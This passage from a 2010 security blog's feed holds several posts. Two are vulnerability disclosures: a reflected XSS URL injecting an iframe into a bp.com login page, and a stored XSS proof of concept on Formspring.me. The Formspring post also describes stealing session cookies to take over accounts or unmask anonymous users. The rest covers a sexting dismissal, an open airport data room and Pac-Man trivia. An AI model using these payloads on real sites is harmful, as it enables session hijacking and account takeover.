<pre><code>http://energiser.bp.com/login/index.php?lang=%22%3E%3Ciframe%20src=http://www.tampabay.com/multimedi
a/archive/00121/SP_322824_BORC_oilp_121445c.jpg%20width=450%20height=300%20frameborder=0%20scroll=no
%3E%3C/%3E%3C/;document.write%28unescape%28a.source%29%29;{//
</code></pre>

<p><div id="attachment_4071" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_xss1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/bp_xss1.jpg" alt="" title="bp_xss" width="750" height="707" class="size-full wp-image-4071" /></a><p class="wp-caption-text">iFrame inclusion on a bp.com site.</p></div>
<br /></p>

<h3>Finally</h3>

<p>Is most of this nonsense from a hard core security standpoint? Yes, to an extent. The XSS ought to be corrected, and dual factor authentication on VPN&#8217;s is kind of a must have at this point.</p>

<p>Does BP need a security audit of their perimeter, web properties, online services used, and security policies? Also yes. Maybe schedule it after they plug that gushing oil geyser this August.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/newsweek-reports-zombie-invasion/">Newsweek Reports Zombie Invasion</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/congressional-web-site-defacements-follow-the-state-of-the-union/">Congressional Web Site Defacements Follow the State of the Union</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/umm-techcrunch-defacement-two-in-24-hours/">Umm&#8230;TechCrunch? Defacement Two in 24 Hours</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/techcrunched-techcrunch-the-victim-of-a-defacement/">TechCrunched &#8211; TechCrunch the Victim of a Defacement</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/01/baidu-com-the-latest-victim-of-iranian-cyberarmy/">Baidu.com the Latest Victim of Iranian CyberArmy</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/going-after-bp/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Formspring.me XSS Vulnerability</title>
		<link>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/</link>
		<comments>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/#comments</comments>
		<pubDate>Fri, 04 Jun 2010 02:46:32 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Cross Site Scripting]]></category>
		<category><![CDATA[Social Networking]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3922</guid>
		<description><![CDATA[Formspring.me, a newly popular social networking site, has a fundamental cross site scripting flaw that allows one logged in user to steal another user’s session, but also may allow users to find out who posted a nasty comment about them.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring.gif" alt="" title="formspring" width="136" height="120" class="alignleft size-full wp-image-3925" /></a></p>

<p>Formspring.me, a newly popular social networking site, has a fundamental cross site scripting flaw that allows one logged in user to steal another user&#8217;s session, but also may allow users to find out who posted a nasty comment about them. A key complaint about the site is that you can not find out the identity of an anonymous user.</p>

<p><i>Update</i>: Kudos to Formspring.me, even though it was hard to initially report the problem, they corrected it in about an hour from opening a post on their technical support forum, a nice turnaround by any standard.</p>

<h3>Formspring.me</h3>

<p>Formspring.me is a six month old social networking question and answer site. The web site has come under scrutiny following a few recent news stories involving incidents with teenagers, the site&#8217;s primary demographic. The first notable incident was where <a href="http://www.whtm.com/news/stories/0210/707982.html">a fight broke out</a> over comments on the site. More notably, however, is the story of Alexis Pilkington, a 17 year old West Islip, NY High School graduate who <a href="http://www.newsday.com/long-island/suffolk/after-teen-s-death-3-800-pledge-web-site-boycott-1.1829354">committed suicide after dozens of insulting comments</a> had been made to her on the site.</p>

<p>From comments on the site, these are not isolated incidents, and its fairly clear Formspring needs to come up with a better model:</p>

<p><i>Is it possible for you to delete an account for harrassment if the posts were anonymously posted? I received 18 threats last night that I followed up with a police report to my local PD. I have the police report number, as of yet I have not deleted my account so that if you needed to access it to see the post you could. Please advise.</i></p>

<p><i>I need to know how to go about finding out who send a message to my daughter&#8217;s account. The message says.. that she would be better off dead.</i></p>

<p><i>I would appreciate it if Formspring will work with our local Santa Barbara Police Department and the Santa Barbara Sheriff Department to find the person that was impersonating my daughter.</i></p>

<p>Such problems have led to various organized boycotts, letters home from school officials, and coverage under the topic of cyber-bullying in a number of news outlets.</p>

<h3>The Big Issue People Have</h3>

<p>One of the primary complaints about the web site is the anonymity of questioners. Hiding behind the veil of anonymity has allowed, mostly teenagers, to make nasty remarks to each other they would probably not make under their own names (although frankly the Internet is a wild place). Largely as a result of this, a good deal of time has been spent trying to figure out a way to determine: &#8220;who said that about me?&#8221;. That is at least according to the articles <a href="http://www.northjersey.com/news/95486479_Anonymous_cyber-taunts_leave_lasting_wounds_on_kids.html">I&#8217;ve been reading</a>. Formspring won&#8217;t help you with anonymous questions, as it states in <a href="http://formspringme.zendesk.com/entries/93852-can-you-tell-me-who-asked-me-an-anonymous-question">their support forums</a></p>

<p>But here&#8217;s an answer to that question, or at least a method: a way to grab another user&#8217;s session only knowing user name because of a web site vulnerability present in the Formspring web site.</p>

<ol>
<li><p>We have two users: Tester21 and Tester25. Since they have such close names, they&#8217;ve decided to follow each other using the site&#8217;s People->Find People and Follow functions.</p></li>
<li><p>Tester 25 goes to www.formspring.me and asks Tester21 a question:
<div id="attachment_3927" class="wp-caption alignnone" style="width: 710px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring_1.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring_1.gif" alt="" title="formspring_1" width="700" height="561" class="size-full wp-image-3927" /></a><p class="wp-caption-text">Ask another user a question.</p></div>
<br /></p></li>
<li>But that&#8217;s kind of boring, so Tester25 asks a better question: </li>
</ol>

<pre><code>&lt;script&gt;alert(document.cookie);&lt;/script&gt;
</code></pre>

<p>4.  Tester21 logs in and sees he has a question:
<div id="attachment_3928" class="wp-caption alignnone" style="width: 636px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring2.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring2.gif" alt="" title="formspring2" width="626" height="409" class="size-full wp-image-3928" /></a><p class="wp-caption-text">Malicious script, dutifully encoded by Formspring.me.</p></div>
<br />
Immediately he see&#8217;s that this isn&#8217;t a question. Formspring has done a good job for him, because rather than allow this malicious script to execute, they have encoded parts of the output as shown:</p>

<pre><code>&lt;a href="#" rel="question"&gt;
&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&lt;/a&gt;
&lt;span class="askedBy"&gt;asked by &lt;a href="http://www.formspring.me/tester25" rel="profile"&gt;tester25&lt;/a&gt;
</code></pre>

<p>5.  Glad Formspring has protected him from revealing his session cookie by properly encoding output, Tester21 makes a note to drop that loser Tester25 from his Follow list and clicks Home:</p>

<div id="attachment_3929" class="wp-caption alignnone" style="width: 760px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring3.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/formspring3.gif" alt="" title="formspring3" width="750" height="595" class="size-full wp-image-3929" /></a><p class="wp-caption-text">The home screen preview executes the Javascript.</p></div>

<h3>What Happened?</h3>

<p>A preview function on the home page shows the user the last pending question they&#8217;ve received. If its the one that is the cross site scripting string, the script executes. In this case its only the classic alert box demonstration, but anything that can be accomplished with Javascript is possible.</p>

<h3>Another Random Issue</h3>

<p>It appears formspring.me actually logs users in as someone else sometimes without any interaction, as evidenced by <a href="http://formspringme.zendesk.com/entries/187720-logging-into-other-peoples-pages">this user complaint</a>:</p>

<p><i>Hi, everytime i want to go to my home page or feeds on my friends answered questions, i keep going to random people&#8217;s homepage or their feeds, anyway i can fix this?</i></p>

<h3>Why is Disclosure this Difficult?</h3>

<p>After numerous attempts to sign up for the Support section of the site so we could notify Formspring of this defect, we finally just posted an issue in their Technical Support forum as the notification. They need to think about adding a screen or e-mail address for reporting security issues, ala Twitter and other sites.</p>

<h3>Finally</h3>

<p>So assuming someone is acting as an anonymous user, but has given more information in their profile (e-mail, etc.) then the person who wants to know who they are could send them a variation of the &#8220;poison question&#8221; above that steals that user&#8217;s session (likely this would involve sending the user&#8217;s cookies to another web site, having a script running there that grabs the cookies and perhaps logs in in as that user and changes the user&#8217;s password which essentially takes over the account). From taking over the account the attacker gains access to any information filled out in the profile (could be nothing if Anonymous uses dummy information and an anonymous e-mail) and can post and answer questions as that user.</p>

<p>Additionally by searching out people making use of the Formspring widget, you don&#8217;t even really need to be a Formspring user yourself to post the XSS string to a Formspring user&#8217;s account.</p>

<p>The problem above is magnified in that many users connect their Formspring accounts to Facebook and Twitter (meaning a person who has taken over the account can then post messages to these other two social networking services).</p>

<p>In terms of actual impact, its unclear that user&#8217;s would have any truly sensitive information available in their profiles, making information disclosure a low risk (assumes the user didn&#8217;t post sensitive information themselves). Birthday and e-mail are probably the only two fields that could be considered user confidential. So the primary issue is session hijacking. Is it a big deal? It probably is not, other social networking sites had similar issues in their first six months of existence, it is just something that should be corrected.</p>

<p>As for Formspring itself, and the issues people are having with anonymous users, this is probably worthy of its own blog post. There are a number of sites that allow anonymous comments to be posted, and the web is famous for snarks and nastiness in online comments. That said, having experienced these problems so publicly, and being a web site that is used primarily by young people, Formspring would be best advised to remove the anonymous question capability to avoid libel, cut down on police investigations, and get itself out of the negative press for a while. Call it the price of being popular.</p>

<p>A special thanks to <a href="http://www.twitter.com/ethicalhack3r">ethicalhack3r</a> for bouncing some ideas around.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/06/f-secure-xss-on-anti-theft-website/">F-Secure XSS on Anti-Theft Website</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/03/xss-flaw-on-paypal-com/">XSS Flaw on PayPal.com</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/pentagon-web-pwned/">Pentagon Web Site Vulnerabilities Identified</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/06/formspring-me-xss-vulnerability/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Thou Shalt Not Send Naked Pictures&#8230;To Anyone Ever</title>
		<link>http://praetorianprefect.com/archives/2010/05/thou-shalt-not-send-naked-pictures-to-anyone-ever/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/thou-shalt-not-send-naked-pictures-to-anyone-ever/#comments</comments>
		<pubDate>Wed, 26 May 2010 22:27:07 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[Stay Safe Online]]></category>
		<category><![CDATA[sexting]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3997</guid>
		<description><![CDATA[It's becoming a familiar story, an angry parent of a student reports finding inappropriate images, self taken naked pictures and videos, on that student's cell phone. But this story has an unusual wrinkle: the student is a 20 year-old at the University of Central Florida, the girlfriend of 32 year-old Mandarin High School football coach Jason Robinson.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/06/MandarinHigh.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/06/MandarinHigh-150x150.jpg" alt="" title="MandarinHigh" width="150" height="150" class="alignleft size-thumbnail wp-image-3998" /></a></p>

<p>It&#8217;s becoming a familiar story, an angry parent of a student reports finding inappropriate images, self taken naked pictures and videos, on that student&#8217;s cell phone. The images and video were sent to the student by a high school football coach. The mother of the student e-mailed the pictures to the administration of the high school, and the coach was promptly fired in disgrace. But this story has an unusual wrinkle: the student is a 20 year-old at the University of Central Florida, the girlfriend of 32 year-old Mandarin High School football coach Jason Robinson.</p>

<p>Upon finding the pictures, the mother of Jason Robinson&#8217;s college age girlfriend fired the images off to the administration at the High School employing this coach. The administration reacted by terminating Robinson, who being within the first three years of his contract there was essentially the equivalent of an &#8220;at-will&#8221; employee.</p>

<p>The high school principal, Dr. Donna Richardson, fired off the following letter to the coach:</p>

<pre><code>"Effective today you have been reassigned to Bulls Bay for the remainder of this school year. You are 
not to come back onto our campus, and we will make arrangements to get any of your personal 
belongings to you. 

You are also being non-reappointed for the next school year. It is regretful it had to come to this, 
but I believe you understand the situation."

"We hold our teachers to a higher standard. They are in front of our students. They're talking 
with our students. They're teaching our students how to become good characters"
</code></pre>

<p><div id="attachment_4004" class="wp-caption alignleft" style="width: 368px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/jasonrobinson.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/jasonrobinson.jpg" alt="" title="jasonrobinson" width="358" height="304" class="size-full wp-image-4004" /></a><p class="wp-caption-text">Jason Robinson</p></div>
<br /></p>

<p>So we are left with an &#8216;at will&#8217; employee, who can be dismissed for any reason, being dismissed for showing a lack of sound judgment and a potential violation of a policy (which for whatever reason couldn&#8217;t be located in time to include in the letter). From a legal standpoint, the dismissal may be on solid enough ground.</p>

<p>The incident is problematic on a number of fronts though. As soon as an employing organization begins to pass judgment on the private, non-criminal, non-disallowed by policy, actions of two consenting adults, they open themselves up in an inappropriate role as a moral arbiter over their teachers and staff. The mother&#8217;s actions were largely inappropriate in the absence of a crime or high school policy violation regarding relationships between teachers and staff. There has been no indication yet that this relationship started when the girlfriend was a high school student herself. But since you can&#8217;t control parents, the high school board, a group of people, owed it to all involved to display a cooler head.</p>

<p>Robinson is claiming this incident has ruined his reputation, and is suing the parents of his 20 year old girlfriend for violating his privacy by looking at the material. It certainly does affect his future prospects in working as a high school football coach to be so publicly dismissed.</p>

<p>A sister of the girlfriend does attend high school at Mandarin also, probably another reason this should have been handled much more quietly, as her life must be a joy right now.</p>

<h3>One Wrinkle Though</h3>

<p><div id="attachment_4022" class="wp-caption alignright" style="width: 160px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/1274916964-richardson1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/1274916964-richardson1-150x150.jpg" alt="" title="1274916964-richardson" width="150" height="150" class="size-thumbnail wp-image-4022" /></a><p class="wp-caption-text">Dr. Donna Richardson</p></div><br /></p>

<p>There is one awkward little wrinkle to the whole episode which may make the school board right (but which throws into question why they wouldn&#8217;t comment further to defend their position).  There is an allegation that the coach used a school computer to send the images. If that is the case, a policy prohibiting using school equipment to view or send pornography should both be in place and apply (minus the publicity and &#8217;shaming&#8217; e-mail).</p>

<p>So why isn&#8217;t that being included in the school&#8217;s response to the case? Either because it isn&#8217;t true, or because they haven&#8217;t conducted a responsible forensics investigation to back up the allegation. To fire someone so publicly without having this was a mistake. Administrative leave, strengthening the case via proper computer forensics, and then having a full story to go forward with is the correct way to go, not an e-mail sent in haste from the principle&#8217;s computer.</p>

<p>According to most followup commentary, the &#8220;sent from a school computer&#8221; piece likely is not true anyway.</p>

<h3>Sexting</h3>

<p>Basically the act of sending a sexually explicit photograph or message with mobile phones as the communication device. The name derives from a combination (or portmanteau for those who want to learn a new word) of the words sex and texting.</p>

<p>The first well known reference to the word is a 2005 article in the British Sunday Telegraph Magazine. In a survey conducted by Cosmogirl, 20% of teens and 33% of young adults indicated they had sent nude or semi-nude (big difference) pictures of themselves via electronic communications. Some 39% of teens and 59% of young adults had said they sent sexually explicit messages.</p>

<p>The Cosmogirl results have been thrown into question however (surveys always are); at least one sociologist, C.J. Pascoe, an assistant professor at Colorado College, completed a three year study interviewing 80 teenagers and found no evidence of truly explicit text or photographs sent via mobile devices.</p>

<p>From personal experience, students are certainly sending and posting information that their parents and other adults would note is probably a mistake to preserve electronically and share. Campaigns, such as the James Lipton campaign we posted about earlier, <a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">Don&#8217;t Tweet Your Junk</a>, are largely a reaction to this problem.</p>

<p>So there is an issue here that should not be ignored, one that naturally followed the increasing capabilities of cell phones, the decreasing costs, and the result that more young people than ever have sophisticated access to communications technology (something their parents did not by and large have). That said, hyping the numbers by suggesting that 2 out of every 10 teens are sending naked pictures of themselves via their phones is unnecessarily alarmist.</p>

<p>The other larger problem of overreaction is overzealous prosecution of teenagers under child pornography laws which were certainly not codified to cover teenagers e-mailing photographs to each other. Further, the classification of said teenagers or young adults as sex offenders serves only to weaken the notification requirements under Meghan&#8217;s Law, designed to protect youth against real sex predators.</p>

<h3>Finally</h3>

<p>I don&#8217;t understand the proclivity in the number of people sending naked pictures of their junk to other people. Maybe if doing so will result in Paris Hilton like publicity, but for most of us photographing our nether regions should be grounds for having our heads examined. That said, what we have here is two consenting adults sending content between each other. It was no more the high school&#8217;s business than it was that of the mother, unless a school computer was used.</p>

<p>One could make the loose case that the Mother of a 20 year-old might have the moral authority to snoop to try to keep her daughter safe (we don&#8217;t really think so at 20, but we could see someone saying that).  But sending the pictures on to the high school administration rather than handing this as a private family member shows terrible judgment on the mother&#8217;s part. But parents can&#8217;t be controlled, the school had to realize a story as salacious as this would spawn media coverage, and should have had their act in order before reacting. If they have nothing, no evidence that this relationship started when the girl was underage or in high school, no use of a school computer via evidence gathered in a forensically sound manner, then this school board has made a mistake.</p>

<p>Or as Principal Richardson defined the school&#8217;s mission: &#8220;They&#8217;re teaching our students how to become good characters&#8221;. They&#8217;re acting like characters all right, so far anyway.</p>

<h3>Sources:</h3>

<ul>
<li><a href="http://outofbounds.nbcsports.com/2010/05/coach-fired-for-cell-pics.html.php">High school coach fired for sexting 20-year-old college girlfriend. Wait, what?</a></li>
<li><a href="http://www.news4jax.com/news/23651635/detail.html">Mandarin Football Coach Under Fire</a></li>
</ul>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/03/press-f1-for-help-pwned/">Press F1 for Help, pwned.</a></li>
<li><a href="http://praetorianprefect.com/archives/2009/12/james-lipton-says-dont-tweet-your-junk/">James Lipton says &#8220;Don&#8217;t tweet your junk&#8221;</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/thou-shalt-not-send-naked-pictures-to-anyone-ever/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>For Access Call, or Walk Right In</title>
		<link>http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/#comments</comments>
		<pubDate>Fri, 21 May 2010 20:21:17 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[funny]]></category>
		<category><![CDATA[airport]]></category>
		<category><![CDATA[machine room]]></category>
		<category><![CDATA[Physical Security]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3873</guid>
		<description><![CDATA[Presumably the door sign should read "For Access Call...or Just Walk In".]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/600px-Do_Not_Enter_sign.svg_.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/600px-Do_Not_Enter_sign.svg_-150x150.png" alt="" title="600px-Do_Not_Enter_sign.svg" width="150" height="150" class="alignleft size-thumbnail wp-image-3874" /></a></p>

<p>Courtesy of security rock star Rik Ferguson comes the below picture of a data room (server room) at the airport in Johannesburg (O.R. Tambo International Airport). Presumably the door sign should read &#8220;For Access Call&#8230;or Just Walk In&#8221;.</p>

<p>On a more serious note, in this age of discomfort surrounding airport security, why does Africa&#8217;s largest airport have a door sign viewable from a public area that clearly labels where to find sensitive equipment? Wait, why is the data room accessible from a public area at all?  These are questions for airport officials I guess.</p>

<p>They have been notified.</p>

<p><div id="attachment_3875" class="wp-caption aligncenter" style="width: 490px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/103737894.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/103737894.jpg" alt="Open Door at the Data Room in the airport at Johannesburg, South Africa" title="103737894" width="480" height="640" class="size-full wp-image-3875" /></a><p class="wp-caption-text">Open Door at the Data Room in the airport at Johannesburg, South Africa.</p></div>
<br /></p>

<p>Remember: self closing doors, man traps, &#8220;keep door closed&#8221; signs, and caning server administrators who leave doors open are effective deterrents for this kind of behavior.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/">Happy 30th Birthday Pac-Man, Google Style</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/">Best Information Security Commercial Evah&#8230;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/">Bo Dietl Lost His Guns</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Happy 30th Birthday Pac-Man, Google Style</title>
		<link>http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/#comments</comments>
		<pubDate>Fri, 21 May 2010 17:59:25 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[funny]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[video games]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3829</guid>
		<description><![CDATA[Hat's off to Google for unveiling perhaps the greatest tribute today to the 30th anniversary of the iconic video game Pac-Man.]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/pacman.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/pacman.jpg" alt="" title="pacman" width="75" height="75" class="alignleft size-full wp-image-3830" /></a>
<br /></p>

<p>Hat&#8217;s off <a href="http://googleblog.blogspot.com/2010/05/celebrating-pac-mans-30th-birthday.html">to Google</a> for unveiling perhaps the greatest tribute today to the 30th anniversary of the iconic video game Pac-Man. Google revealed its first &#8220;doodle&#8221; or temporary logo change back in 1998, with the first animated logo appearing on Newton&#8217;s birthday earlier this year. At this rate of increasing complexity, the Google logo should be sentient by 2012.</p>

<p>For the birthdays of one of the most successful video games of all time, Google reveals perhaps its most complex logo of all time, a full featured playable version of the game for the next 48 hours:</p>

<div id="attachment_3835" class="wp-caption alignnone" style="width: 564px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/pacman10-hp.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/pacman10-hp.png" alt="Go to google.com, and click the logo or the Insert Coin button." title="pacman10-hp" width="554" height="186" class="size-full wp-image-3835" /></a><p class="wp-caption-text">Go to google.com, and click the logo or the Insert Coin button.</p></div>
<br /></p>

<p>Hit &#8220;Insert Coin&#8221; twice and Mrs. Pac-Man will show up too.</p>

<h3>Pac-Man</h3>

<p><div id="attachment_3832" class="wp-caption alignright" style="width: 250px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/amd_pacman.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/amd_pacman.jpg" alt="The original 1980 Pac-Man." title="Krazy! Exhibition" width="240" height="338" class="size-full wp-image-3832" /></a><p class="wp-caption-text">The original 1980 version of Pac-Man.</p></div>
<br /></p>

<p>Pac-Man was first released on May 22nd, 1980, thirty years ago today, by Namco in Japan. According to Guinness, Pac-Man is the most successful coin-operated video game of all time. It sold more than 100,000 units in 1980 and kids pumped more than $1 billion dollars in quarters into the arcade game in its first fifteen months. It was played more then 10 billion times in the first twenty years from its release.</p>

<h3>End Game</h3>

<p><div id="attachment_3833" class="wp-caption alignleft" style="width: 234px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/Split_Screen_in_Pac_Man.gif"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/Split_Screen_in_Pac_Man.gif" alt="At level 256, things get messy." title="Split_Screen_in_Pac_Man" width="224" height="288" class="size-full wp-image-3833" /></a><p class="wp-caption-text">At level 256, things get messy.</p></div>
<br /></p>

<p>Due to a programming glitch the game ends at level 256, although that&#8217;s not much of an issue because few in history have ever gotten a perfect score. Billy Mitchell played the first verified perfect game in 1999. In 2009 David Race became the sixth and currently last person known to achieve a perfect score.</p>

<p>Notice we said &#8216;verified perfect game&#8217;? That&#8217;s because in 1982 an 8 year old named Jeffrey Yee allegedly received a congratulatory letter from then President Ronald Reagan congratulating him for the record score of 6,131,940 points. There&#8217;s a problem though, that score would only be possible by passing level 256, the famous impassable split-screen bug shown at left.</p>

<h3>Pizza &amp; Puck-Man</h3>

<p>Toru Iwatani was the primary developer of the game in 1979, and has related the apocryphal story that the main character was designed after looking at a pizza that was missing a slice. In reality the character is a rounding and simplification of the Japanese character for kuchi, or mouth. The original name, pronounced pakku-man, is a take off of the Japanese phrase paku-paku taberu where the words paku-paku describe the sound of a mouth eating.</p>

<p>The game was released under the name Puck-Man, but modified for the game&#8217;s North American release to Pac-Man as it was feared that arcade machines would be vandalized by modifying the &#8216;P&#8217; to an &#8216;F&#8217;.</p>

<h3>Those Ghosts</h3>

<p><i>&#8220;Google doodler Ryan Germick and I made sure to include Pac-Man&#8217;s original game logic, graphics and sounds, bring back ghosts&#8217; individual personalities, and even recreate original bugs from this 1980&#8217;s masterpiece,&#8221;</i> <br />- Marcin Wichary, Usability, Google</p>

<p><div id="attachment_3856" class="wp-caption alignleft" style="width: 234px"><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/Pacman_origghosts.png"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/Pacman_origghosts.png" alt="" title="Pacman_origghosts" width="224" height="288" class="size-full wp-image-3856" /></a><p class="wp-caption-text">Original Monster Names.</p></div>

<p>Blinky, Pinky, Inky, and Clyde are the four ghost monsters, the antagonists of the game. Each has its own personality derived from movement patterns, as derivable from both past efforts to reverse engineer the game as well as the Japanese translations of their original names:</p>

<table>
<thead>
<tr>
  <th>Name:</th>
  <th>Color:</th>
  <th>Translation:</th>
</tr>
</thead>
<tbody>
<tr>
  <td>Blinky</td>
  <td>Red</td>
  <td>Chaser</td>
</tr>
<tr>
  <td>Pinky</td>
  <td>Pink</td>
  <td>Ambusher</td>
</tr>
<tr>
  <td>Inky</td>
  <td>Cyan</td>
  <td>Fickle</td>
</tr>
<tr>
  <td>Clyde</td>
  <td>Orange</td>
  <td>Stupid</td>
</tr>
</tbody>
</table>

<h3>Finally</h3>

<p>You can go play Pac-Man a few blocks from Praetorian&#8217;s main office down at the Chinatown Fair Video Arcade on Mott Street.</p>

<p>With that we leave you with the 80&#8217;s tribute song <a href="http://www.youtube.com/watch?v=0-MONIvP6kI">Pac-Man Fever</a> by Buckner and Garcia in honor of the day. Enjoy.</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/">For Access Call, or Walk Right In</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/">Best Information Security Commercial Evah&#8230;</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/">Bo Dietl Lost His Guns</a></li>
</ul><br />
]]></content:encoded>
			<wfw:commentRss>http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Best Information Security Commercial Evah&#8230;</title>
		<link>http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/</link>
		<comments>http://praetorianprefect.com/archives/2010/05/best-information-security-commercial-evah/#comments</comments>
		<pubDate>Fri, 14 May 2010 21:14:27 +0000</pubDate>
		<dc:creator>Prefect</dc:creator>
				<category><![CDATA[funny]]></category>
		<category><![CDATA[charlatans]]></category>

		<guid isPermaLink="false">http://praetorianprefect.com/?p=3886</guid>
		<description><![CDATA[

Say what you will about LIGATT security, the publicly traded (around 0.0004) Georgia company headed by self styled security expert and convicted felon (federal conspiracy and wire fraud) Gregory Evans: they are responsible for what might be the greatest information security commercial ever created.

As you can see, the protagonist is down on his luck, but [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://praetorianprefect.com/wp-content/uploads/2010/05/snake-oil-clip1.jpg"><img src="http://praetorianprefect.com/wp-content/uploads/2010/05/snake-oil-clip1-150x150.jpg" alt="" title="snake-oil-clip1" width="75" height="75" class="alignleft size-thumbnail wp-image-3890" /></a></p>

<p>Say what you will about LIGATT security, the publicly traded (around 0.0004) Georgia company headed by self styled security expert and convicted felon (federal conspiracy and wire fraud) Gregory Evans: they are responsible for what might be the greatest information security commercial ever created.</p>

<p>As you can see, the protagonist is down on his luck, but he has a plan to change that. It starts by sitting outside your house with a laptop while you sleep, and attacking your wireless&#8230;well, just watch:
<br /></p>

<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/Wy9LELlwbZs&#038;hl=en_US&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/Wy9LELlwbZs&#038;hl=en_US&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object>
<br /></p>

<p>At one point its unclear whether he&#8217;s going to crack a WEP key or someone&#8217;s head with the way he&#8217;s holding that laptop.</p>

<p>And where did that laptop come from in the driveway anyway?</p>

<p><strong>Related Posts:</strong></p>
<ul>
<li><a href="http://praetorianprefect.com/archives/2010/05/for-access-call-or-walk-right-in/">For Access Call, or Walk Right In</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/05/happy-30th-birthday-pac-man-google-style/">Happy 30th Birthday Pac-Man, Google Style</a></li>
<li><a href="http://praetorianprefect.com/archives/2010/04/bo-dietl-lost-his-guns/">Bo Dietl Lost His Guns</a></li>
</ul><br />
